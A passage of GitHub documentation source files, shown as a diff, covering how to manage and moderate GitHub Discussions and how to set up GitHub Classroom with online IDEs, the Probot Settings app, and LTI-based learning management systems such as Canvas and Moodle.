/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository product_video: https://www.youtube-nocookie.com/embed/DbTWBP3_RbM layout: product-landing versions: free-pro-team: '*' --- <!-- {% link_with_intro /quickstart %} --> <!-- {% link_with_intro /discussions-guides %} --> <!-- {% link_with_intro /collaborating-with-your-community-using-discussions %} --> <!-- {% link_with_intro /managing-discussions-for-your-community %} --> <!-- Community examples --> {% assign discussionsCommunityExamples = site.data.variables.discussions_community_examples %} {% if discussionsCommunityExamples %} <div class="my-6 pt-6"> <h2 class="mb-2 font-mktg h1">Communities using discussions</h2> <div class="d-flex flex-wrap gutter"> {% render 'discussions-community-card' for discussionsCommunityExamples as example %} </div> {% if discussionsCommunityExamples.length > 6 %} <button class="js-filter-card-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> {% endif %} <div class="js-filter-card-no-results d-none py-4 text-center text-gray font-mktg"> <div class="mb-3">{% octicon "search" width="24" %}</div> <h3 class="text-normal">Sorry, there is no result for <strong class="js-filter-card-value"></strong></h3> <p class="my-3 f4">It looks like we don't have an example that fits your filter.<br>Try another filter or add your code example</p> <a href="https://github.com/github/docs/blob/main/data/variables/discussions_community_examples.yml">Add your community {% octicon "arrow-right" %}</a> </div> </div> {% endif %} 13 content/discussions/managing-discussions-for-your-community/index.md @@ -0,0 +1,13 @@ --- title: Managing discussions for your community shortTitle: Managing discussions intro: 'You can enable and configure discussions for your repository, and you can use tools on {% data variables.product.product_name %} to moderate conversations among community members.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} {% link_in_list /managing-discussions-in-your-repository %} {% link_in_list /managing-categories-for-discussions-in-your-repository %} {% link_in_list /moderating-discussions %} 64 ...ns-for-your-community/managing-categories-for-discussions-in-your-repository.md @@ -0,0 +1,64 @@ --- title: Managing categories for discussions in your repository intro: You can categorize the discussions in your repository to organize conversations for your community members, and you can choose a format for each category. permissions: Repository administrators and people with write or greater access to a repository can enable discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About categories for discussions {% data reusables.discussions.about-discussions %} {% data reusables.discussions.about-categories-and-formats %} Each category must have a unique name and emoji pairing, and can be accompanied by a detailed description stating its purpose. Categories help maintainers organize how conversations are filed and are customizable to help distinguish categories that are Q&A or more open-ended conversations.{% data reusables.discussions.repository-category-limit %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)." ### Default categories | Category | Purpose | Type | | :- | :- | :- | | #️⃣ General | Anything and everything relevant to the project | Open-ended discussion | |💡Ideas | Ideas to change or improve the project | Open-ended discussion | | 🙏 Q&A | Questions for the community to answer, with a question/answer format | Question and Answer | | 🙌 Show and tell | Creations, experiments, or tests relevant to the project | Open-ended discussion | ### Creating a category {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.edit-categories %} 1. Click **New category**.  1. Edit the emoji, title, description, and discussion format for the category. For more information about discussion formats, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)."  1. Click **Create**.  ### Editing a category You can edit a category to change the category's emoji, title, description, and discussion format. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. To the right of a category in the list, click {% octicon "pencil" aria-label="The pencil icon" %}.  1. {% data reusables.discussions.edit-category-details %}  1. Click **Save changes**.  ### Deleting a category When you delete a category, {% data variables.product.product_name %} will move all discussions in the deleted category to an existing category that you choose. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. To the right of a category in the list, click {% octicon "trash" aria-label="The trash icon" %}.  1. Use the drop-down menu, and choose a new category for any discussions in the category you're deleting.  1. Click **Delete & Move**.  108 ...aging-discussions-for-your-community/managing-discussions-in-your-repository.md @@ -0,0 +1,108 @@ --- title: Managing discussions in your repository intro: You can categorize, spotlight, transfer, or delete the discussions in a repository. permissions: Repository administrators and people with write or greater access to a repository can manage discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About management of discussions {% data reusables.discussions.about-discussions %} For more information about discussions, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." Organization owners can choose the permissions required to create a discussion for repositories owned by the organization. For more information, see "[Managing discussion creation for repositories in your organization](/github/setting-up-and-managing-organizations-and-teams/managing-discussion-creation-for-repositories-in-your-organization)." As a discussions maintainer, you can create community resources to encourage discussions that are aligned with the overall project goal and maintain a friendly open forum for collaborators. Creating a code of conduct or contribution guidelines for collaborators to follow will help facilitate a collaborative and productive forum. For more information on creating community resources, see "[Adding a code of conduct to your project](/github/building-a-strong-community/adding-a-code-of-conduct-to-your-project)," and "[Setting guidelines for repository contributors](/github/building-a-strong-community/setting-guidelines-for-repository-contributors)." For more information on facilitating a healthy discussion, see "[Moderating comments and conversations](/github/building-a-strong-community/moderating-comments-and-conversations)." ### Prerequisites To manage discussions in a repository, discussions must be enabled for the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Changing the category for a discussion You can categorize discussions to help community members find related discussions. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)" article. You can also move a discussion to a different category. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pencil" aria-label="The pencil icon" %} **Edit pinned discussion**.  ### Pinning a discussion You can pin up to four important discussions above the list of discussions for the repository. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Pin discussion**.  1. Optionally, customize the look of the pinned discussion.  1. Click **Pin discussion**.  ### Editing a pinned discussion Editing a pinned discussion will not change the discussion's category. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pencil" aria-label="The pencil icon" %} **Edit pinned discussion**.  1. Customize the look of the pinned discussion.  1. Click **Pin discussion**.  ### Unpinning a discussion {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Unpin discussion**.  1. Read the warning, then click **Unpin discussion**.  ### Transferring a discussion To transfer a discussion, you must have permissions to create discussions in the repository where you want to transfer the discussion. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "arrow-right" aria-label="The right arrow icon" %} **Transfer discussion**.  1. Select the **Choose a repository** drop-down, and click the repository you want to transfer the discussion to.  1. Click **Transfer discussion**.  ### Deleting a discussion {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "trash" aria-label="The trash arrow icon" %} **Delete discussion**.  1. Read the warning, then click **Delete this discussion**.  ### Converting issues based on labels You can convert all issues with the same label to discussions in bulk. Future issues with this label will also automatically convert to the discussion and category you configure. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} {% data reusables.project-management.labels %} 1. Next to the label you want to convert to issues, click **Convert issues**. 1. Select the **Choose a category** drop-down menu, and click a category for your discussion. 1. Click **I understand, convert this issue to a discussion**. 40 ...t/discussions/managing-discussions-for-your-community/moderating-discussions.md @@ -0,0 +1,40 @@ --- title: Moderating discussions intro: 'You can promote healthy collaboration by marking comments as answers, locking or unlocking discussions, and converting issues to discussions. and editing or deleting comments, discussions, and categories that don''t align with your community''s code of conduct to discussions.' permissions: People with triage access to a repository can moderate discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About moderating discussions {% data reusables.discussions.about-discussions %} If you have triage permissions for a repository, you can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. ### Marking a comment as an answer {% data reusables.discussions.marking-a-comment-as-an-answer %} ### Locking discussions It's appropriate to lock a conversation when the entire conversation is not constructive or violates your community's code of conduct or {% data variables.product.prodname_dotcom %}'s [Community Guidelines](/github/site-policy/github-community-guidelines). You can also lock a conversation to prevent comments on a discussion you want to use as an announcement to the community. When you lock a conversation, people with write access to the repository will still be able to comment on the discussion. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. In the list of discussions, click the discussion you want to lock.  1. In the right margin of a discussion, click **Lock conversation**. 1. Read the information about locking conversations and click **Lock conversation on this discussion**. 1. When you're ready to unlock the conversation, click **Unlock conversation**, then click **Unlock conversation on this discussion**. ### Converting an issue to a discussion When you convert an issue to a discussion, the discussion is automatically created using the content from the issue. People with write access to a repository can bulk convert issues based on labels. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} 1. In the list of issues, click the issue you'd like to convert. 1. In the right margin of an issue, click **Convert to discussion**. 1. Select the **Choose a category** drop-down menu, and click a category for your discussion. 1. Click **I understand, convert this issue to a discussion**. 62 content/discussions/quickstart.md @@ -0,0 +1,62 @@ --- title: Quickstart for GitHub Discussions intro: 'Enable {% data variables.product.prodname_discussions %} on an existing repository and start conversations with your community.' allowTitleToDifferFromFilename: true versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Introduction {% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an open source project. Discussions are for conversations that need to be transparent and accessible but do not need to be tracked on a project board and are not related to code, unlike issues. Discussions enable fluid, open conversation in a public forum. Discussions give a space for more collaborative conversations by connecting and giving a more centralized area to connect and find information. ### Enabling {% data variables.product.prodname_discussions %} on your repository Repository owners and people with write access can enable {% data variables.product.prodname_discussions %} for a community on their public repositories. When you first enable a {% data variables.product.prodname_discussions %}, you will be invited to configure a welcome post. {% data reusables.repositories.navigate-to-repo %} 1. Under your repository name, click {% octicon "gear" aria-label="The gear icon" %} **Settings**.  1. Under "Features", click **Set up discussions**.  1. Under "Start a new discussion," edit the template to align with the resources and tone you want to set for your community. 1. Click **Start discussion**.  ### Welcoming contributions to your discussions You can welcome your community and introduce a new way to communicate in a repository by creating a welcome post and pin the post to your {% data variables.product.prodname_discussions %} page. Pinning and locking discussions helps people know that a post is meant as an announcement. You can use announcements as a way to link people to more resources and offer guidance for opening discussions in your community. For more information about pinning a discussion, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)." ### Setting up community guidelines for contributors You can set contributing guidelines to encourage collaborators to have meaningful, useful conversations that are relevant to the repository. You can also update the repository's README to communicate expectations on when collaborators should open an issue or discussion. For more information about providing guidelines for your project, see "[Adding a code of conduct to your project](/github/building-a-strong-community/adding-a-code-of-conduct-to-your-project)" and "[Setting up your project for healthy contributions](/github/building-a-strong-community/setting-up-your-project-for-healthy-contributions)." ### Creating a new discussion Anyone with access to a repository can create a discussion. {% data reusables.discussions.starting-a-discussion %} ### Organizing discussions into relevant categories Repository owners and people with write access can create new categories to keep discussions organized. Collaborators participating and creating new discussions can group discussions into the most relevant existing categories. Discussions can also be recategorized after they are created. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)" ### Promoting healthy conversations People with write permissions for a repository can help surface important conversations by pinning discussions, deleting discussions that are no longer useful or are damaging to the community, and transferring discussions to more relevant repositories owned by the organization. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." People with triage permissions for a repository can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." ### Next steps Once there is a clear path to scope work out and move an idea from concept to reality, you can create an issue and start tracking your progress. For more information on creating an issue from a discussion, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." 45 content/education/guides.md @@ -0,0 +1,45 @@ --- title: Guides for GitHub Education intro: 'These guides for {% data variables.product.prodname_education %} help you teach and learn both {% data variables.product.product_name %} and software development.' allowTitleToDifferFromFilename: true versions: free-pro-team: '*' --- ### Get started with {% data variables.product.product_name %} Teachers, students, and researchers can use tools from {% data variables.product.product_name %} to enrich a software development curriculum and develop real-world collaboration skills. - [Sign up for a new {% data variables.product.prodname_dotcom %} account](/github/getting-started-with-github/signing-up-for-a-new-github-account) - [Git and {% data variables.product.prodname_dotcom %} quickstart ](/github/getting-started-with-github/quickstart) - [Apply for an educator or researcher discount](/education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount) - [Apply for a student developer pack](/education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack) ### Run a software development course with {% data variables.product.company_short %} Administer a classroom, assign and review work from your students, and teach the new generation of software developers with {% data variables.product.prodname_classroom %}. - [Basics of setting up {% data variables.product.prodname_classroom %} ](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom) - [Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms) - [Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment) - [Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment) - [Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository) - [Leave feedback with pull requests](/education/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests) - [Use autograding](/education/manage-coursework-with-github-classroom/use-autograding) ### Learn to develop software Incorporate {% data variables.product.prodname_dotcom %} into your education, and use the same tools as the professionals. - [Git and {% data variables.product.prodname_dotcom %} learning resources](/github/getting-started-with-github/git-and-github-learning-resources) - [Use {% data variables.product.prodname_dotcom %} for your schoolwork](/education/teach-and-learn-with-github-education/use-github-for-your-schoolwork) - [Try {% data variables.product.prodname_desktop %}](/desktop) - [Try {% data variables.product.prodname_cli %}](/github/getting-started-with-github/github-cli) ### Contribute to the community Participate in the community, get training from {% data variables.product.company_short %}, and learn or teach new skills. - [{% data variables.product.prodname_education_community %}](https://education.github.community) - [About Campus Experts](/education/teach-and-learn-with-github-education/about-campus-experts) - [About Campus Advisors](/education/teach-and-learn-with-github-education/about-campus-advisors) 43 content/education/index.md @@ -0,0 +1,43 @@ --- title: GitHub Education Documentation shortTitle: Education intro: "{% data variables.product.prodname_education %} helps you teach or learn software development with the tools and support of {% data variables.product.company_short %}'s platform and community." introLinks: quickstart: /education/quickstart featuredLinks: guides: - /education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack - /education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount - /education/teach-and-learn-with-github-education/use-github-at-your-educational-institution guideCards: - /github/getting-started-with-github/signing-up-for-a-new-github-account - /github/getting-started-with-github/git-and-github-learning-resources - /education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom popular: - /education/teach-and-learn-with-github-education/use-github-for-your-schoolwork - /education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research - /desktop - /github/getting-started-with-github/github-cli - /education/manage-coursework-with-github-classroom/teach-with-github-classroom changelog: - title: 'Try something new at Local Hack Day: Learn' date: '2020-10-15' href: https://github.blog/2020-10-15-try-something-new-at-local-hack-day-learn/ - title: 'Remote Education: Creating community through shared experiences' date: '2020-09-24' href: https://github.blog/2020-09-24-remote-education-creating-community-through-shared-experiences/ - title: 'Remote Education: A series of best practices for online campus communities' date: '2020-09-10' href: https://github.blog/2020-09-10-remote-education-a-series-of-best-practices-for-online-campus-communities/ - title: Welcome to the inaugural class of MLH Fellows date: '2020-06-24' href: https://github.blog/2020-06-24-welcome-to-the-inaugural-class-of-mlh-fellows/ layout: product-landing versions: free-pro-team: '*' --- <!-- {% link_with_intro /teach-and-learn-with-github-education %} --> <!-- {% link_with_intro /manage-coursework-with-github-classroom %} --> 31 ...work-with-github-classroom/about-using-makecode-arcade-with-github-classroom.md @@ -0,0 +1,31 @@ --- title: About using MakeCode Arcade with GitHub Classroom shortTitle: About using MakeCode Arcade intro: You can configure MakeCode Arcade as the online IDE for assignments in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-makecode --- ### About MakeCode Arcade MakeCode Arcade is an online integrated development environment (IDE) for developing retro arcade games using drag-and-drop block programming and JavaScript. Students can write, edit, run, test, and debug code in a browser with MakeCode Arcade. For more information about online IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." {% data reusables.classroom.readme-contains-button-for-online-ide %} The first time the student clicks the button to visit MakeCode Arcade, the student must sign into MakeCode Arcade with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on MakeCode Arcade. For more information about working on MakeCode Arcade, see the [MakeCode Arcade Tour](https://arcade.makecode.com/ide-tour) and [documentation](https://arcade.makecode.com/docs) on the MakeCode Arcade website. MakeCode Arcade does not support multiplayer-editing for group assignments. Instead, students can collaborate with Git and {% data variables.product.product_name %} features like branches and pull requests. ### About submission of assignments with MakeCode Arcade By default, MakeCode Arcade is configured to push to the assignment repository on {% data variables.product.product_location %}. After making progress on an assignment with MakeCode Arcade, students should push changes to {% data variables.product.product_location %} using the {% octicon "mark-github" aria-label="The GitHub mark" %}{% octicon "arrow-up" aria-label="The up arrow icon" %} button at the bottom of the screen.  ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 33 ...ge-coursework-with-github-classroom/about-using-replit-with-github-classroom.md @@ -0,0 +1,33 @@ --- title: About using Repl.it with GitHub Classroom shortTitle: About using Repl.it intro: You can configure Repl.it as the online integrated development environment (IDE) for assignments in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-replit --- ### About Repl.it Repl.it is an online integrated development environment (IDE) that supports multiple programming languages. Students can write, edit, run, test, and debug code in a browser with Repl.it. For more information about online IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." {% data reusables.classroom.readme-contains-button-for-online-ide %} The first time the student clicks the button to visit Repl.it, the student must sign into Repl.it with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on Repl.it. For more information about working on Repl.it, see the [Repl.it Quickstart Guide](https://docs.repl.it/misc/quick-start#the-repl-environment). For group assignments, students can use Repl.it Multiplayer to work collaboratively. For more information, see the [Repl.it Multiplayer](https://repl.it/site/multiplayer) website. ### About submission of assignments with Repl.it By default, Repl.it is configured to push to the assignment repository on {% data variables.product.product_location %}. After making progress on an assignment with Repl.it, students should push changes to {% data variables.product.product_location %} using the version control functionality in the left sidebar.  For more information about using Git on Repl.it, see the [Repl.it + Git Tutorial](https://repl.it/talk/learn/Replit-Git-Tutorial/23331) on the Repl.it website. ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 33 ...anage-coursework-with-github-classroom/basics-of-setting-up-github-classroom.md @@ -0,0 +1,33 @@ --- title: Basics of setting up GitHub Classroom shortTitle: '{% data variables.product.prodname_classroom %} basics' intro: Learn how to set up your classroom, manage assignments, and configure time-saving automation. versions: free-pro-team: '*' --- ### Videos about {% data variables.product.prodname_classroom %} You can watch a series of short video tutorials about the configuration and use of {% data variables.product.prodname_classroom %}. To watch all videos as part of a continuous playlist, see the [{% data variables.product.prodname_classroom %} Getting Started Guide](https://www.youtube.com/playlist?list=PLIRjfNq867bewk3ZGV6Z7a16YDNRCpK3u) on YouTube. For more information about terminology for {% data variables.product.prodname_classroom %}, see "[Glossary](/education/manage-coursework-with-github-classroom/glossary)". 1. <a href="https://youtu.be/xVVeqIDgCvM" target="_blank">Getting started</a> {% octicon "link-external" aria-label="The external link icon" %} 2. <a href="https://youtu.be/DTzrKduaHj8" target="_blank">Adding your student roster</a> {% octicon "link-external" aria-label="The external link icon" %} 3. Creating assignments - <a href="https://youtu.be/6QzKZ63KLss" target="_blank">Creating an assignment using a {% data variables.product.prodname_dotcom %} repository</a> {% octicon "link-external" aria-label="The external link icon" %} - <a href="https://youtu.be/Qmwh6ijsQJU" target="_blank">Creating an assignment using Microsoft MakeCode as your online IDE</a> {% octicon "link-external" aria-label="The external link icon" %} - <a href="https://youtu.be/p_g5sQ7hUis" target="_blank">Creating an assignment using Repl.it as your online IDE</a> {% octicon "link-external" aria-label="The external link icon" %} 4. <a href="https://youtu.be/ObaFRGp_Eko" target="_blank">How students complete assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 5. <a href="https://youtu.be/g45OJn3UyCU" target="_blank">How teachers review assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 6. <a href="https://youtu.be/QxrA3taZdNM" target="_blank">Creating group assignments</a> {% octicon "link-external" aria-label="The external link icon" %} 7. <a href="https://youtu.be/tJK2cmoh1KM" target="_blank">Next steps to get started</a> {% octicon "link-external" aria-label="The external link icon" %} 8. <a href="https://youtu.be/X87v3SFQxLU" target="_blank">{% data variables.product.prodname_dotcom %} Teacher Toolbox</a> {% octicon "link-external" aria-label="The external link icon" %} ### Next steps For more information about teaching with {% data variables.product.prodname_classroom %}, see "[Teach with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/teach-with-github-classroom)." ### Further reading - "[Teach and learn with {% data variables.product.prodname_education %}](/education/teach-and-learn-with-github-education)" 51 ...with-github-classroom/configure-default-settings-for-assignment-repositories.md @@ -0,0 +1,51 @@ --- title: Configure default settings for assignment repositories shortTitle: Configure defaults for assignment repositories intro: You can use the Probot Settings app to configure the default settings for repositories that {% data variables.product.prodname_classroom %} creates for an assignment. permissions: Organization owners can configure default settings for assignment repositories by installing a {% data variables.product.prodname_github_app %} for the organization. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/probot-settings --- ### About configuration of defaults for assignment repositories {% data variables.product.prodname_classroom %} creates a repository that belongs for each student or team that accepts an assignment. The repository belongs to the organization that you use for {% data variables.product.prodname_classroom %}. Assignment repositories can be empty, or you can use a template repository. For more information, see "[Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository)." {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} With the Probot Settings app, you can create a file named _.github/settings.yml_ in a repository that contains a list of settings for the repository, and then install a {% data variables.product.prodname_github_app %} for your organization that automatically applies the settings to the repository. You can include _.github/settings.yml_ in a template repository that you use for an assignment in {% data variables.product.prodname_classroom %}. When an individual or team accepts the assignment, {% data variables.product.prodname_classroom %} creates the assignment repository, and the Settings app automatically applies the settings from _.github/settings.yml_. Probot is a a project, framework, and collection of free apps to automate {% data variables.product.product_name %}. A Probot app can listen to repository events, like the creation of new commits, comments, and issues, and automatically respond to the event. For more information, see the [Probot website](https://probot.github.io) and the [Settings app website](https://probot.github.io/apps/settings/). For more information about {% data variables.product.prodname_github_apps %}, see "[About apps](/developers/apps/about-apps)." ### Adding the Settings app to your organization After you install the Probot Settings app for your organization, the app will apply the settings that you define in _.github/settings.yml_ for any repository in your organization, including new assignment repositories that {% data variables.product.prodname_classroom %} creates. 1. Navigate to the [Settings app page](https://github.com/apps/settings). 1. Click **Install**, then click the organization that you use for {% data variables.product.prodname_classroom %}. Provide the app full access to all repositories owned by the organization.  ### Configuring default settings for an assignment repository 1. Create a template repository that contains a _.github/settings.yml_ file. For a complete list of settings, see the [README](https://github.com/probot/settings#github-settings) for the `probot/settings` repository. For more information about using a template repository for starter code in {% data variables.product.prodname_classroom %}, see "[Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository)." {% warning %} **Warning:** Do not define `collaborators` in the _.github/settings.yml_ file for your template repository. {% data variables.product.prodname_classroom %} automatically grants teachers and teaching assistants access to assignment repositories. {% endwarning %} 1. Create an assignment using the template repository containing _.github/settings.yml_ as the starter code. {% data reusables.classroom.for-more-information-about-assignment-creation %} The Probot Settings app for your organization will now apply the settings you define in _.github/settings.yml_ within the template repository to every assignment repository that {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} creates for a student or team. ### Further reading - [Probot apps](https://probot.github.io/apps/) - [Probot documentation](https://probot.github.io/docs/) 142 ...th-github-classroom/connect-a-learning-management-system-to-github-classroom.md @@ -0,0 +1,142 @@ --- title: Connect a learning management system to GitHub Classroom intro: You can configure an LTI-compliant learning management system (LMS) to connect to {% data variables.product.prodname_classroom %} so that you can import a roster for your classroom. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/configuring-a-learning-management-system-for-github-classroom - /education/manage-coursework-with-github-classroom/connect-to-lms - /education/manage-coursework-with-github-classroom/generate-lms-credentials - /education/manage-coursework-with-github-classroom/setup-canvas - /education/manage-coursework-with-github-classroom/setup-generic-lms - /education/manage-coursework-with-github-classroom/setup-moodle --- ### About configuration of your LMS You can connect a learning management system (LMS) to {% data variables.product.prodname_classroom %}, and {% data variables.product.prodname_classroom %} can import a roster of student identifiers from the LMS. To connect your LMS to {% data variables.product.prodname_classroom %}, you must enter configuration credentials for {% data variables.product.prodname_classroom %} in your LMS. ### Prerequisites To configure an LMS to connect to {% data variables.product.prodname_classroom %}, you must first create a classroom. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-classroom)." ### Supported LMSes {% data variables.product.prodname_classroom %} supports import of roster data from LMSes that implement Learning Tools Interoperability (LTI) standards. - LTI version 1.0 and/or 1.1 - LTI Names and Roles Provisioning 1.X Using LTI helps keep your information safe and secure. LTI is an industry-standard protocol and GitHub Classroom's use of LTI is certified by the Instructional Management System (IMS) Global Learning Consortium. For more information, see [Learning Tools Interoperability](https://www.imsglobal.org/activity/learning-tools-interoperability) and [About IMS Global Learning Consortium](http://www.imsglobal.org/aboutims.html) on the IMS Global Learning Consortium website. {% data variables.product.company_short %} has tested import of roster data from the following LMSes into {% data variables.product.prodname_classroom %}. - Canvas - Google Classroom - Moodle - Sakai Currently, {% data variables.product.prodname_classroom %} doesn't support import of roster data from Blackboard or Brightspace ### Generating configuration credentials for your classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. If your classroom already has a roster, you can either update the roster or delete the roster and create a new roster. - For more information about deleting and creating a roster, see "[Deleting a roster for a classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#deleting-a-roster-for-a-classroom)" and "[Creating a roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)." - For more information about updating a roster, see "[Adding students to the roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#adding-students-to-the-roster-for-your-classroom)." 1. In the list of LMSes, click your LMS. If your LMS is not supported, click **Other LMS**.  1. Read about connecting your LMS, then click **Connect to _LMS_**. 1. Copy the "Consumer Key", "Shared Secret", and "Launch URL" for the connection to the classroom.  ### Configuring a generic LMS You must configure the privacy settings for your LMS to allow external tools to receive roster information. 1. Navigate to your LMS. 1. Configure an external tool. 1. Provide the configuration credentials you generated in {% data variables.product.prodname_classroom %}. - Consumer key - Shared secret - Launch URL (sometimes called "tool URL" or similar) ### Configuring Canvas You can configure {% data variables.product.prodname_classroom %} as an external app for Canvas to import roster data into your classroom. For more information about Canvas, see the [Canvas website](https://www.instructure.com/canvas/). 1. Sign into [Canvas](https://www.instructure.com/canvas/#login). 1. Select the Canvas course to integrate with {% data variables.product.prodname_classroom %}. 1. In the left sidebar, click **Settings**. 1. Click the **Apps** tab. 1. Click **View app configurations**. 1. Click **+App**. 1. Select the **Configuration Type** drop-down menu, and click **By URL**. 1. Paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)." | Field in Canvas app configuration | Value or setting | | :- | :- | | **Consumer Key** | Consumer key from {% data variables.product.prodname_classroom %} | | **Shared Secret** | Shared secret from {% data variables.product.prodname_classroom %} | | **Allow this tool to access the IMS Names and Role Provisioning Service** | Enabled | | **Configuration URL** | Launch URL from {% data variables.product.prodname_classroom %} | {% note %} **Note**: If you don't see a checkbox in Canvas labeled "Allow this tool to access the IMS Names and Role Provisioning Service", then your Canvas administrator must contact Canvas support to enable membership service configuration for your Canvas account. Without enabling this feature, you won't be able to sync the roster from Canvas. For more information, see [How do I contact Canvas Support?](https://community.canvaslms.com/t5/Canvas-Basics-Guide/How-do-I-contact-Canvas-Support/ta-p/389767) on the Canvas website. {% endnote %} 1. Click **Submit**. 1. In the left sidebar, click **Home**. 1. To prompt Canvas to send a confirmation email, in the left sidebar, click **GitHub Classroom**. Follow the instructions in the email to finish linking {% data variables.product.prodname_classroom %}. ### Configuring Moodle You can configure {% data variables.product.prodname_classroom %} as an activity for Moodle to import roster data into your classroom. For more information about Moodle, see the [Moodle website](https://moodle.org). You must be using Moodle version 3.0 or greater. 1. Sign into [Moodle](https://moodle.org/login/index.php). 1. Select the Moodle course to integrate with {% data variables.product.prodname_classroom %}. 1. Click **Turn editing on**. 1. Wherever you'd like {% data variables.product.prodname_classroom %} to be available in Moodle, click **Add an activity or resource**. 1. Choose **External tool** and click **Add**. 1. In the "Activity name" field, type "GitHub Classroom". 1. In the **Preconfigured tool** field, to the right of the drop-down 